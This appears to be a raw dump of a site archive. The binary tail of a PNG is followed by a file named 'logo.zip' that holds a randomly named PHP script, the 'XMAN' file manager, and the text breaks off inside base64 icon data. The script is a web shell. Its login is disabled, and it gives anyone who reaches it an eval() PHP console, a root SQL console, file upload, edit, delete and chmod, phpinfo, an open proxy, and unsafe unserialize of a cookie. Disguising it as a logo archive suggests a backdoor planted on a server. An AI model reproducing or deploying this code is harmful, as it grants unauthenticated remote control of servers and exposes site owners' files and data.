`�:/�4O�@0�ǤOEf*��!)�#!��$�]���C�F�w�:�sl��g.�?Ȥ~]C�sa9H6y"=�1��"���,FH~#$?������b��g1B������~̄� IEND�B`� logo.zip 0000644 00003457715 15020743441 0006256 0 ustar 00 PK J'�Z%M��. �. 428359519hc.phpnu �[��� <?pHp /* XMAN PHP ver 1.4*/ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzm